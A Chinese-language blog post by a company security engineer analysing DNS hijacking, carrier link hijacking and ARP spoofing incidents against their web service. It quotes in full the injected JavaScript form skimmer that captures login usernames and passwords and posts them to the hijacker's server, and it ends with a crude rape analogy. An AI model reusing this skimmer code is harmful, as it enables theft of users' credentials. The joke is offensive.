淺談網際網路中劫持的一些事情

PS：不確定文章中的內容會不會被和諧 網際網路中劫持可以理解為正常使用者的請求在返回響應之前響應內容被篡改，或者正常使用者的請求內容被非法獲取從而代為請求。無論是個人還是公司或多或少都會碰到劫持這類事情，無論小到ARP攻擊、還是大到運營商的鏈路劫持、甚至天朝的G*F*W。筆者在一家網際網路公司工作，只是根據碰到的一些情況來進行淺談，深而廣的內容只能讓有更多經驗的來談了，對於本文的內容也歡迎各位拍磚。

一、DNS劫持

先來談下DNS劫持。在去年的”斯巴達“期間，公司的業務監控部門監測到公司的一個業務的訪問量驟降，同時運維部門也監測該業務的域名在全國大面積運營商的DNS伺服器返回的A記錄被修改為一個不是我們的IP：61.49.43.2。時間主要集中在上網的高峰期，持續一個小時左右。下圖為DNS解析的抓包（圖一）。

圖一 最初以為是對運營商DNS的投毒攻擊，不過隨著分析的深入發現，在受影響的地區，遞迴到13臺根DNS伺服器返回的都是這個IP，看來不只是簡單的對運營商DNS的投毒攻擊。 並且我們對 61.49.43.2 這個IP也進行了分析，發現其為一臺Nginx的反向代理伺服器，使用者訪問我們的業務，其在返回的頁面中插入一段JS程式碼，功能就是在使用者登入之前先獲取使用者輸入框中的使用者和密碼（業務本身傳輸密碼是加密的），然後再提交到這個伺服器的一個頁面。最後恢復使用者的正常登陸。整個過程使用者幾乎感受不到影響。 同時我們還發現有其他網際網路公司的該業務會受到影響，如果直接把其他公司同類業務的域名解析到這個IP上，發現插入的程式碼會根據業務而變化，很有針對性。甚至gmail都有影響。 下面是被插入的JS程式碼：

#!javascript
<script>
var xmlHttp;

function sendurl(uri, u, p, i) {
    xmlHttp = GetXmlHttpObject();
    if (xmlHttp == null) {
        return;
    }
    param = "user=" + u + "&pass=" + p + "&icp=" + i;
    xmlHttp.onreadystatechange = stateChanged;
    try {
        xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);
    } catch (e) {}
    xmlHttp.setRequestHeader("If-Modified-Since", "0");
    xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlHttp.send(param);
}

function stateChanged() {}

function GetXmlHttpObject() {
    var xmlHttp = null;
    if (window.ActiveXObject) {
        var MSXML = ['MSXML2.XMLHTTP', 'Microsoft.XMLHTTP', 'MSXML2.XMLHTTP.5.0'];
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break;
            } catch (e) {}
        }
    } else if (window.XMLHttpRequest) {
        try {
            xmlHttp = new XMLHttpRequest();
        } catch (e) {}
    }
    return xmlHttp;
}
try {
    var fList = document.getElementsByTagName("form");
    var f;
    for (var i = 0; i < fList.length; i++) {
        if (fList[i].pwdInput != null) {
            f = fList[i];
            break;
        }
    }

    function ffCheck() {
        try {
            try {
                var u = null != f ? f.idInput.value : document.getElementById("idInput").value;
            } catch (e) {
                var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");
            }
            var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;
            if (u.indexOf("@") == -1) u += "@xxx.com";
            try {
                if (u.indexOf("@") == -1) u = u + getdomain();
            } catch (e) {}
            sendurl("/abc", u, p, "coremail");
        } catch (e) {}
        return fOnSubmit();
    }
    if (null != f) f.onsubmit = ffCheck;
} catch (e) {}
</script>

最後問題得到解決並不是我們找到了問題的原因，而是在我們向“有關部門”反饋後，這種劫持竟然停止了。

二、鏈路劫持

再來談下這個鏈路劫持，還是同樣的業務，在有使用者投訴會經常登入我們的業務失敗，才介入的分析。在受影響的使用者計算機上進行抓包發現一個奇怪的現象，就是使用者發起一個請求會接收到兩個響應包，瀏覽器沒有辦法判斷哪個是真的哪個是假的，只信任第一個接收到的響應包，這個包的內容就是我們正常頁面的內容加上一段js程式碼，這個js程式碼和之前DNS劫持的程式碼類似所以就不貼程式碼了，獲取使用者名稱和密碼然後返回。 從包的TTL和Identification大致可以判斷是是被第三方劫持，如下圖（圖二、圖三）：

圖二 圖三 其實從TTL可以大概的判斷劫持發生的位置，在這次的劫持事件中推斷劫持的位置發生在我們閘道器的下一跳，應該是運營商所為，但是運營商並不承認這樣做。還能怎麼辦呢？！ 這種情況之前騰訊也有碰到過，參見：http://security.tencent.com/index.php/blog/msg/10。 有的公司採取HTTPS來解決這個問題，其實筆者認為HTTPS應該是無法完全解決這個問題，因為使用者直接透過HTTP來訪問業務，業務是透過301之類的方式跳轉到HTTPS，如果劫持發生在跳轉之前，其實還是一樣的效果的。

三、ARP攻擊

最後再來說下ARP攻擊吧，我想大部分搞安全的對ARP攻擊都會很熟悉，本次ARP攻擊並不是直接攻擊我們的業務，而是攻擊合作商的業務，但是我們的業務中嵌入的有合作商的程式碼，所以最終達到攻擊我們的效果。 問題最初是有使用者投訴我們的一些論壇之類的業務再晚上高峰期訪問會彈出廣告，經過業務確認不是我們的廣告，由於受影響的使用者比較多，所以排除是個案的可能，介入分析。發現是直接嵌入的一個合作商的JS程式碼內容被修改，完全替換為彈出廣告的JS程式碼。 下面是在受影響使用者電腦上抓包的截圖，如下圖（圖四）：

圖四 從截圖中可以看到和之前的鏈路層劫持一樣，使用者收到兩個響應包，同樣根據TTL判斷是劫持，但是從TTL來看和之前運營商的劫持不一樣，正常包TTL為46，而劫持的那個包的TTL為110，一般來說伺服器不會修改預設的TTL值，Linux預設的TTL為64，Windows預設的TTL為128，從抓包中的TTL和預設的TTL做對比發現，相差都是18。我們推斷這次劫持就是發生在合作商的機房內，同一個C段，攻擊伺服器應該是一臺Windows伺服器。 把問題反饋給合作商，讓他們以及聯絡機房進行處理，最後的結果就是同一個C段有一臺Windows伺服器不斷的進行ARP攻擊。

四、總結

其實沒有什麼好總結的，無論是個人還是企業我們只能夠儘量做好自身，對於我們不可控的始終是不可控。正如生活就如強姦，如果無力反抗就只能默默享受了。 over~！